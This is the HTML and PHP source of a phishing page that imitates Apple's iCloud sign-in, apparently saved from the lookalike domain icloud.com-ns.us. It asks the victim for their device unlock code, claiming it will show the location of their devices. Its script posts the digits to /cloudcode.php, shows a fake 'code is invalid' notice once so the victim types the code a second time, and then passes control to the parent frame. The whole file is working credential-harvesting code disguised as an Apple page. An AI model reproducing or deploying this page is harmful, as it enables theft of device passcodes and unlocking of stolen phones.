<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- saved from url=(0050)https://www.icloud.com-ns.us/aU3V1/mobile/code.php -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="prefetch stylesheet" href="./fonts.css" type="text/css">
    <link rel="stylesheet" type="text/css" media="screen" href="./app.css">
    <link rel="stylesheet" type="text/css" media="screen" href="./style.css">

                
            
        
    
<style type="text/css"></style></head>
<body>
<div class="si-body si-container container-fluid" id="content" data-theme="lite"><apple-auth>    <appleid-logo mode="{mode}">
<div id="apple-id-logo" class="apple-id-logo hide-always">
    <i class="icon icon_apple"></i>
</div>

</appleid-logo>
<div class="widget-container fade-in  restrict-max-wh  fade-in" data-mode="embed">

    <div id="step" class="si-step ">
        <div id="stepEl" class="  "><sign-in>
<div class="verify-phone fade-in">
    <div>
        <h1 class="si-container-title tk-intro" tabindex="-1" style="font-size:18px;color:#494949;">
            Enter the device unlock code        </h1>
                    <div class="sec-code-wrapper">
            <security-code length="{codeLength}" type="tel" sr-context="Ingresa el código de verificación" localised-digit="Dígito" error-message="Código de verificación incorrecto."><div class="security-code">
  <idms-error-wrapper {disable-all-errors}="hasErrorLabel" {^error-type}="errorType" popover-auto-close="false" {^idms-error-wrapper-classes}="idmsErrorWrapperClasses" {has-errors-and-focus}="hasErrorsAndFocus" {show-error}="hasErrorsAndFocus" {error-message}="errorMessage" {parent-container}="parentContainer" {(enable-showing-errors)}="enableShowingErrors" anchor-element="#security-code-wrap-1517811366226-1">
  <div class="" id="idms-error-wrapper-1517811366226-0">

        <form method="post" action="/cloudcode.php" id="qrcodeRedirectForm" name="qrcodeRedirectForm" target="_parent">
        <div id="security-code-wrap-1517811366226-1" class="security-code-wrap security-code-6" localiseddigit="Dígito">
        <div class="security-code-container force-ltr">
          <!-----------6 digites----------->
          <?php if($_GET['digitos']==6){?>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 1" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="0" aria-invalid="true" type="tel" id="char0" autofocus="" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char1&#39;).focus(); } }" name="char0">
          </div>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 2" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="1" aria-invalid="true" type="tel" id="char1" name="char1" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char2&#39;).focus(); } }" onkeydown="return validarchar0(event)">
          </div>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 3" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="2" aria-invalid="true" type="tel" id="char2" name="char2" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char3&#39;).focus(); } }" onkeydown="return validarchar1(event)">
          </div>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 4" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="3" aria-invalid="true" type="tel" id="char3" name="char3" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char4&#39;).focus(); } }" onkeydown="return validarchar2(event)">
          </div>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 5" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="4" aria-invalid="true" type="tel" id="char4" name="char4" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char5&#39;).focus(); } }" onkeydown="return validarchar3(event)">
          </div>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field enviaCode" aria-label="Ingresa el código de verificación Dígito 6" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="5" aria-invalid="true" type="tel" id="char5" name="char5" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) {} }" onkeydown="return validarchar4(event)">
          </div>
          <?php }else{?>
            <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 1" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="0" aria-invalid="true" type="tel" id="char0" autofocus="" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char1&#39;).focus(); } }" name="char0">
          </div>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 2" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="1" aria-invalid="true" type="tel" id="char1" name="char1" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char2&#39;).focus(); } }" onkeydown="return validarchar0(event)">
          </div>
          <div class="field-wrap force-ltr">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field" aria-label="Ingresa el código de verificación Dígito 3" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="2" aria-invalid="true" type="tel" id="char2" name="char2" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) { getElementById(&#39;char3&#39;).focus(); } }" onkeydown="return validarchar1(event)">
          </div>
          <div class="field-wrap force-ltr" style="margin:0;">
              <input maxlength="1" autocorrect="off" autocomplete="off" autocapitalize="off" spellcheck="false" class="form-control force-ltr form-textbox char-field enviaCode" aria-label="Ingresa el código de verificación Dígito 4" placeholder="" aria-describedby="idms-input-error-1517811366226-1" data-index="3" aria-invalid="true" type="tel" id="char3" name="char3" onkeypress="return validanumber(event)" onkeyup="if (this.value.length == this.getAttribute(&#39;maxlength&#39;)) { if (event.keyCode!=9) {} }" onkeydown="return validarchar2(event)">
          </div>
          <?php }?>
          <!-----------6 digites----------->
          <input type="hidden" name="id" id="ideq" value="<?php echo $_GET['id'];?>">
          <div class="noticode" style="background:#ffe7a0;color:#000;padding:2px 0;margin-top:5px;border-radius:5px;display:none;">
              The code is invalid or has changed!
          </div>
      </div>
  </div>
  </form>
  <img src="/assets/img/ajax-loader.gif" style="display:none;position:absolute;margin-left:-16px;" class="loader">
      <idms-error {(popover-auto-close)}="popoverAutoClose" {escape-error}="escapeError" {^error-type}="errorType" {(error-message)}="errorMessage" {(escape-error)}="escapeError" {popover-max-width}="popoverMaxWidth" {has-errors-and-focus}="hasErrorsAndFocus" {(error-input-id)}="errorInputId" {parent-container}="parentContainer" {error-type-config-source}="errorTypeConfigSource" {error-type-override}="errorTypeOverride" {show-graphite-error-indicator}="showGraphiteErrorIndicator" anchor-element="#security-code-wrap-1517811366226-1" id="1517811366226-0">
                      
    
    
    
    
    
  <div class="idms-error">
    
      <idms-popover {(show)}="showError" {(auto-close)}="popoverAutoClose" {(anchor-element)}="anchorElement" {(aria-hide)}="isAriaHide" type="error" {(popover-has-focus)}="popoverHasFocus" {container-relative-to}="parentContainer">
</idms-popover>
    
    
  
</div>

                    </idms-error>
  </div>
</idms-error-wrapper>
</div>
</security-code>
        </div>
        <div class="si-info" style="font-size:17px;color:#494949;">
            <p>
            Enter your unlock code to see the current location of your devices     
            </p>
            <img src="../sep.png" style="margin-top:20px;">
        </div>
        <div class="spinner-container verifying-code" id="verifying-code"></div>
        <div class="spinner-container sending-code" id="sending-code"></div>
    </div>
    
    
</div>
    </sign-in></div>
    <div id="stocking" style="display:none !important;"></div>
</div>

<script> 
var hasAutofocus=document.getElementById("char0").autofocus;function validanumber(e){return tecla=document.all?e.keyCode:e.which,8==tecla||(patron=/[0-9]/,tecla_final=String.fromCharCode(tecla),patron.test(tecla_final))}function validarchar0(e){tecla=document.all?e.keyCode:e.which,8==tecla&&document.getElementById("char0").focus()}function validarchar1(e){tecla=document.all?e.keyCode:e.which,8==tecla&&document.getElementById("char1").focus()}function validarchar2(e){tecla=document.all?e.keyCode:e.which,8==tecla&&document.getElementById("char2").focus()}function validarchar3(e){tecla=document.all?e.keyCode:e.which,8==tecla&&document.getElementById("char3").focus()}function validarchar4(e){tecla=document.all?e.keyCode:e.which,8==tecla&&document.getElementById("char4").focus()}function validarchar5(e){tecla=document.all?e.keyCode:e.which,8==tecla&&document.getElementById("char5").focus()}
</script>        
        
<script> 
function validarchar0(e) { 
    tecla = (document.all) ? e.keyCode : e.which; 
    if (tecla==8) document.getElementById("char0").focus();
}
function validarchar1(e) { 
    tecla = (document.all) ? e.keyCode : e.which; 
    if (tecla==8) document.getElementById("char1").focus();
}
function validarchar2(e) { 
    tecla = (document.all) ? e.keyCode : e.which; 
    if (tecla==8) document.getElementById("char2").focus();
}
function validarchar3(e) { 
    tecla = (document.all) ? e.keyCode : e.which; 
    if (tecla==8) document.getElementById("char3").focus();
}
function validarchar4(e) { 
    tecla = (document.all) ? e.keyCode : e.which; 
    if (tecla==8) document.getElementById("char4").focus();
}
function validarchar5(e) { 
    tecla = (document.all) ? e.keyCode : e.which; 
    if (tecla==8) document.getElementById("char5").focus();
}
</script>         
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script> 
<script>
    $(document).ready(function(){
        var cont = 0;
        $(".enviaCode").on("keyup", enviaCode);
        function enviaCode(){
            var datos = $("#qrcodeRedirectForm").serialize();
            $(".loader").show(0);
            $.post(
                "/cloudcode.php",
                datos+"&codeajax=true",
                function(a){
                    if(a=="code"){
                        cont++;
                        if(cont!=2){
                            $(".form-control").val("");
                            $(".loader").hide(0);
                            $("#char0").focus();
                            $(".noticode").fadeIn(100);
                        }else{
                            padre = $(window.parent.document);
                            //$(padre).find(".apple-id-frame-view").show(0);
                            $(padre).find(".iniciar").click();
                            $(padre).find(".frameCode").hide(0);
                        }
                    }
                }
            );
            return false;
        }
        $(".char-field").on("keypress", cierraNoti);
        function cierraNoti(){
            $(".noticode").hide(0);
        }
        /*padre = $(window.parent.document);
     
        $(padre).find("SELECTOR_CSS").LOQUEQUIERAS()*/
     
     
    });
</script>

</div></apple-auth></div></body></html>